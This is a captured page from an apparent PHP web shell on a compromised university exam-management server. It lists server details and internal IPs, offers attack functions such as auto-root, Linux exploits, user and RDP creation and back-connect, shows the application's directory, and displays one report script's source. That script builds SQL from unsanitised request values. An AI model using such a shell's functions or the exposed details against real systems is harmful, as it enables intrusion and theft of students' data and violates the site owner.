Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.145.81.47
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_attendance_sheet.php
<?php $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); //$pdf_writer_class =$main_src."/tarka_pdf_latest/fpdf.php"; //require_once($pdf_writer_class); $pdf_writer_class =$main_src."/tcpdf/tcpdf.php"; require_once($pdf_writer_class); class batch_work_sheet extends TCPDF { public $aobj_context; public $college_name; public $town; public $address; public $Degree_name; function Default_construstor($aobj_context) { require_once($aobj_context->main_src.'src/format.php'); $this->aobj_context=$aobj_context; $this->collcode=$_SESSION['collcode']; include($this->pdf_writer_class); session_start(); $this->report_id = $aobj_context->mobj_data["report_id"]; $this->degree = $aobj_context->mobj_data['degree']; // $this->degree_name = $aobj_context->mobj_data['degree_name']; //echo $this->degree_name;die(); $this->exam = $aobj_context->mobj_data['exam']; $this->subject = $aobj_context->mobj_data["sub"]; $this->sub_name = $aobj_context->mobj_data["sub_name"]; $this->from_batch= $aobj_context->mobj_data["from_batch"] ; $this->to_batch= $aobj_context->mobj_data["to_batch"] ; $this->to_batch= $aobj_context->mobj_data["to_batch"] ; $this->fs_sub_name= $aobj_context->mobj_data["fs_sub_name"] ; $this->freeze_status=" (VERIFICATION PENDING)"; $this->pdf= new TCPDF(); $this->pdf=$this; $this->GetMaxMarksDetails(); $getnumword=$aobj_context->main_src."/src/getnumword.php"; include($getnumword); $get_date_time="SELECT DATE_FORMAT(now(),'%d-%b-%Y %H:%m %r') as dt"; $ob_dt = $this->aobj_context->mobj_db->GetRow($get_date_time); $this->date_timef=$ob_dt['dt']; } function Header() { $FUNIVCODE = $_SESSION['FUNIVCODE']; $page_header_college ="select FUNIVADD1 as address,FUNIVNAME as college_name , pdf_logo_path as pdf_logo_path, ifnull(fdegas,'Degree') as fdegas, ifnull(fcollas,'College') as fcollas, ifnull(fsubas,'Subject') as fsubas, ifnull(FREGROLL,'Reg. No.') as FREGROLL from control "; //echo $page_header_college;die(); $lobj_page_header_college = $this->aobj_context->mobj_db->GetRow($page_header_college); $this->coll_name = $lobj_page_header_college['college_name']; $this->address = $lobj_page_header_college['address']; $this->fdegas = $lobj_page_header_college['fdegas']; $this->fcollas = $lobj_page_header_college['fcollas']; $this->fsubas = $lobj_page_header_college['fsubas']; $this->FREGROLL = $lobj_page_header_college['FREGROLL']; $this->pdf_logo_path = $this->aobj_context->main_src.'/'.$_REQUEST['db']."/".$lobj_page_header_college['pdf_logo_path']; $get_college_name="select concat(FCOLLNAME,', ',FTOWN) as col_name from college where FCOLLCODE='{$this->collcode}'"; $this->lobj_get_college_name = $this->aobj_context->mobj_db->GetRow($get_college_name); $this->col_name=$this->lobj_get_college_name['col_name']; $get_exam_date="select FEXAMDATE as exam_date,FEXAMNAME,fdescpn from degree where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}'"; $this->lobj_get_exam_date = $this->aobj_context->mobj_db->GetRow($get_exam_date); $this->exam_date=$this->lobj_get_exam_date['exam_date']; $this->FEXAMNAME=$this->lobj_get_exam_date['FEXAMNAME']; $this->degree_name=$this->lobj_get_exam_date['fdescpn']; $get_pract_max="select fsubshort from subject where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FCSUBCODE='{$this->subject}' "; $lobj_get_pract_max = $this->aobj_context->mobj_db->GetRow($get_pract_max); $fsubshort = $lobj_get_pract_max['fsubshort']; $this->pdf->Ln(5); $img_logo_path=$this->aobj_context->main_src. '/'.$this->aobj_context->mobj_data["db"]."/img/report_uni_logo.jpg"; if($FUNIVCODE == '052' || $FUNIVCODE == '055') { $fsubcode = $fsubshort; }else{ $fsubcode = $this->subject; } if($FUNIVCODE == '049') { if(file_exists($this->pdf_logo_path)) { $this->pdf->Image($this->pdf_logo_path,60,7,90,20); } $this->pdf->Ln(10); }else if($FUNIVCODE == '055') { $this->pdf->Image($img_logo_path,30,2,140,20); $this->pdf->Ln(15); } else { if(file_exists($this->pdf_logo_path)) { if($FUNIVCODE == '052') $this->pdf->Image($this->pdf_logo_path,5,5,37,15); else $this->pdf->Image($this->pdf_logo_path,5,7,20); } if($FUNIVCODE == '052') { $this->pdf->SetFont('Times','B',9); $this->pdf->Cell(0,4,"JSS MAHAVIDYAPEETHA",0,1,'C'); } $this->pdf->SetFont('Times','B',14); $this->pdf->Cell(0,4,$this->coll_name,0,1,'C'); $this->pdf->SetFont('Times','',8); $this->pdf->Cell(0,4,$this->address,0,0,'C'); } if($FUNIVCODE != '055') { $this->pdf->SetFont('Times','',10); //$this->pdf->Cell(0,4,"Page {$this->pdf->PageNo()}/{nb}",0,1,'R'); $this->pdf->Ln(5); $this->pdf->SetFont('Times','B',10); $this->pdf->Cell(0,4,$this->fcollas." : ".$this->collcode." ".$this->col_name,0,1,'C'); } // $this->pdf->Ln(2); $this->pdf->SetFont('Times','BU',11); // $this->pdf->Ln(1); if($FUNIVCODE == '055') { $this->pdf->Cell(0,5,'Practical Attendance Sheet',0,0,'C'); $this->pdf->Cell(0,5,'Form B',0,1,'R'); }else { $this->pdf->Cell(0,5,'Practical Attendance Sheet',0,1,'C'); } $this->pdf->SetFont('Times','',10); $this->pdf->Cell(0,4,$this->fdegas." : ".$this->degree." - ".$this->degree_name,0,1,'C'); $this->pdf->Cell(0,4," Exam : {$this->FEXAMNAME} - ".$this->exam_date,0,1,'C'); // $this->pdf->Ln(2); $this->pdf->Cell(0,4,$this->fsubas." : ".$fsubcode." - ".$this->sub_name."(".$this->fs_sub_name.")",0,1,'C'); $this->pdf->Ln(5); $this->pdf->SetFont('Times','B',12); $this->pdf->Ln(3); } function GetMaxMarksDetails() { $get_pract_max="select FSMAXMARKS from subject where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FCSUBCODE='{$this->subject}' "; $lobj_get_pract_max = $this->aobj_context->mobj_db->GetRow($get_pract_max); $this->pract_max_marks=$lobj_get_pract_max['FSMAXMARKS']; $get_vival_sub=" select FVVCODE from practical_master where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FPRCODE='{$this->subject}'"; $lobj_get_vival_sub = $this->aobj_context->mobj_db->GetRow($get_vival_sub); $viva_sub= $lobj_get_vival_sub['FVVCODE']; $get_pract_max="select FSMAXMARKS from subject where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FCSUBCODE='{$viva_sub}' "; $lobj_get_pract_max = $this->aobj_context->mobj_db->GetRow($get_pract_max); $this->viva_max_marks=$lobj_get_pract_max['FSMAXMARKS']; } function GetQuery() { $FUNIVCODE = $_SESSION['FUNIVCODE']; $get_practical_records = "select lpad(FBATCH,2,'0') as FBATCH,sub.FCSUBCODE,sub.FSUBNAME,stu.FREGNO, stu.FNAME ,FSUBNAME,FSSUBNAME FROM student stu inner join marks_pr mak ON stu.FREGNO=mak.FREGNO and mak.Fdegree='{$this->degree}' and mak.Fexamno='{$this->exam}' and mak.FCOLLCODE='{$this->collcode}' inner join subject sub on sub.FCSUBCODE = mak.FSUBCODE and sub.FCSUBCODE='{$this->subject}' and sub.FDEGREE='{$this->degree}' and sub.FEXAMNO='{$this->exam}' WHERE stu.FREGNO != '' and ifnull(stu.fdeleted,'') <> 'T' and FBATCH>='{$this->from_batch}' and FBATCH<='{$this->to_batch}' group by stu.FREGNO,sub.FCSUBCODE,FBATCH order by IFNULL(mak.FBATCH, ''),stu.FREGNO"; // var_dump($get_practical_records);die(); $this->lobj_get_practical_records = $this->aobj_context->mobj_db->GetAll($get_practical_records); $this->header_subject=$FCSUBCODE; $this->header_sub_name=$sub_name; $this->pdf->SetMargins(10,40); $get_viva_details=" select FVVCODE from practical_master where FDEGREE='{$this->degree}' and FEXAMNO='{$this->exam}' and FPRCODE='{$this->subject}' "; $lobj_get_viva_details = $this->aobj_context->mobj_db->GetRow($get_viva_details); $FVVCODE=$lobj_get_viva_details['FVVCODE']; //echo $get_viva_details;die(); //print_r($this->viva_marks_arr);die(); $sl_no=1; $this->batch_details=array(); $c=0; foreach($this->lobj_get_practical_records as $k=>$v) { $reg_no=$v['FREGNO']; $FBATCH=$v['FBATCH']; $name[$v['FREGNO']]=$v['FNAME']; $this->sub_name=$v['FSUBNAME']; $this->fs_sub_name=$v['FSSUBNAME']; $this->batch_details[$FBATCH]['details'][$c]=$reg_no; $this->batch_details[$FBATCH]['cnt']+=1; $c++; } $regname = "Reg. No."; if($FUNIVCODE == '049') $regname = "USN"; if($FUNIVCODE == '052') $width = ["8",'27','60','23','23','20','18']; else $width = ["12",'33','80','25','25','23']; foreach($this->batch_details as $k=>$v) { $this->pdf->SetFont('Times','B',10); $batch_no=$k; $get_date_time="select concat(' Date : ',date_format(ifnull(FEXAMDATE,'00/00/0000'),'%d/%m/%Y'),' Time : ',ifnull(FEXAMTIME,'')) as batch_date_time, froomname, if(ifnull(m1.fteachcode,'') = '',ifnull(fexaminer1,''),m1.fteachname) as fexaminer1, if(ifnull(m2.fteachcode,'') = '',ifnull(fexaminer2,''),m2.fteachname) as fexaminer2, if(ifnull(m3.fteachcode,'') = '',ifnull(fexaminer3,''),m3.fteachname) as fexaminer3, if(ifnull(m4.fteachcode,'') = '',ifnull(fexaminer4,''),m4.fteachname) as fexaminer4, if(ifnull(m5.fteachcode,'') = '',ifnull(fexaminer5,''),m5.fteachname) as fexaminer5, if(ifnull(m6.fteachcode,'') = '',ifnull(fexaminer6,''),m6.fteachname) as fexaminer6 from practical_entry_freeze p left join masteach m1 on m1.fteachcode = fexaminer1 left join masteach m2 on m2.fteachcode = fexaminer2 left join masteach m3 on m3.fteachcode = fexaminer3 left join masteach m4 on m4.fteachcode = fexaminer4 left join masteach m5 on m5.fteachcode = fexaminer5 left join masteach m6 on m6.fteachcode = fexaminer6 where p.FCOLLCODE='{$this->collcode}' and p.FDEGREE='{$this->degree}' and p.FEXAM='{$this->exam}' and lpad(p.FBATCH,2,'0')='{$batch_no}' and p.FCSUBCODE='{$this->subject}' "; //var_dump($get_date_time); $lobj_get_date_time = $this->aobj_context->mobj_db->GetRow($get_date_time); $date_time = $lobj_get_date_time['batch_date_time']; $froomname = $lobj_get_date_time['froomname']; $fexaminer1 = $lobj_get_date_time['fexaminer1']; $fexaminer2 = $lobj_get_date_time['fexaminer2']; $fexaminer3 = $lobj_get_date_time['fexaminer3']; $fexaminer4 = $lobj_get_date_time['fexaminer4']; $fexaminer5 = $lobj_get_date_time['fexaminer5']; $fexaminer6 = $lobj_get_date_time['fexaminer6']; $sl_no=1; $batch_cnt=$v['cnt']; $batch_details=$v['details']; //$this->pdf->SetMargins(10, 50); $this->pdf->SetMargins(10, 40); $this->pdf->AddPage(); $this->pdf->Rect(4,03,205,280); $this->pdf->SetMargins(10,40); if($froomname != '') $this->pdf->Cell(0,5,"Room Name: $froomname","",1,'C'); $this->pdf->ln(2); $this->pdf->Cell(0,5,"Batch: {$batch_no}, {$date_time}","",1,'C'); $this->pdf->ln(2); $this->pdf->Cell($width[0],5,'Sl.',"LRT",0,'C'); $this->pdf->Cell($width[1],5,'',"LRT",0,'C'); $this->pdf->Cell($width[2],5,'',"LRT",0,'C'); $this->pdf->Cell($width[3],5,'Main',"LRT",0,'C'); $this->pdf->Cell($width[4],5,'Additional',"LRT",0,'C'); if($FUNIVCODE == '052') { $this->pdf->Cell($width[6],5,'Graph ',"LRT",0,'C'); $this->pdf->Cell($width[6],5,'Semi-Log ',"LRT",0,'C'); } $this->pdf->Cell($width[5],5,'',"LRT",1,'C'); /* $this->pdf->Cell(50,5,"({$this->subject}) Practical","LRT",1,'C'); $this->get_x_pos=$this->pdf->GetX(); $this->get_y_pos=$this->pdf->GetY(); if(!empty($FVVCODE)) { $this->pdf->SetXY($this->get_x_pos+115,$this->get_y_pos-5); $this->pdf->Cell(50,5,"({$FVVCODE}) Record","LRT",1,'C'); } */ $this->get_x_pos=$this->pdf->GetX(); $this->get_y_pos=$this->pdf->GetY(); $this->pdf->Cell($width[0],5,'No.',"LRB",0,'C'); $this->pdf->Cell($width[1],5,$this->FREGROLL,"LRB",0,'C'); $this->pdf->Cell($width[2],5,'Name',"LRB",0,'C'); $this->pdf->Cell($width[3],5,'Ans. Book No.',"LRB",0,'C'); $this->pdf->Cell($width[4],5,'Ans. Book No.',"LRB",0,'C'); if($FUNIVCODE == '052') { $this->pdf->Cell($width[6],5,'Sheet No.',"LRB",0,'C'); $this->pdf->Cell($width[6],5,'Sheet No.',"LRB",0,'C'); } $this->pdf->Cell($width[5],5,'Signature.',"LRB",1,'C'); /* if(!empty($FVVCODE)) { $this->pdf->SetXY($this->get_x_pos+115,$this->get_y_pos); $this->pdf->Cell(80,5," (Max: {$this->viva_max_marks})","LRB",1,'C'); } */ foreach($batch_details as $bv) { $nb =0; $yH =0; $reg_no=$bv; //$nb=max($nb,NbLines($width[2],$name[$reg_no],$this->pdf)); $nb = 1; if($nb >1) { // $yH = 4+$nb; $yH = 5*$nb; } else $yH = 8*$nb; $this->pdf->SetFont('Times','',9); // if($nb >1) // { // var_dump($yH); // var_dump($reg_no); // var_dump($name[$reg_no]); // } $this->pdf->Cell($width[0],$yH,$sl_no,"1",0,'C'); $this->pdf->Cell($width[1],$yH,$reg_no,"1",0,'C'); //$this->pdf->Cell(60,6,$name[$reg_no],"1",0,'L'); $x=$this->pdf->GetX(); $y=$this->pdf->GetY(); //Draw the border $this->pdf->Rect($x,$y,$width[2],$yH); if($nb >1) $yx = 4; else $yx = $yH; $this->pdf->MultiCell($width[2],$yx,$name[$reg_no],0,'L'); $this->pdf->SetXY($x+$width[2],$y); $this->pdf->Cell($width[3],$yH,'',"1",0,'C'); $this->pdf->Cell($width[4],$yH,'',"1",0,'C'); if($FUNIVCODE == '052') { $this->pdf->Cell($width[6],$yH,'',"1",0,'C'); $this->pdf->Cell($width[6],$yH,'',"1",0,'C'); } $this->pdf->Cell($width[5],$yH,'',"1",1,'C'); /* $this->pdf->Cell(50,6,'',"1",1,'C'); $y_pos=$this->pdf->GetY(); if(!empty($FVVCODE)) { $this->pdf->SetXY($this->get_x_pos+115,$y_pos-6); $this->pdf->Cell(50,6,'',"1",1,'C'); } */ if($FUNIVCODE == '056') $sheetLength = 250; else $sheetLength = 210; if($this->pdf->GetY()>$sheetLength) { $this->WriteFooter($fexaminer1,$fexaminer2,$fexaminer3,$fexaminer4,$fexaminer5,$fexaminer6); 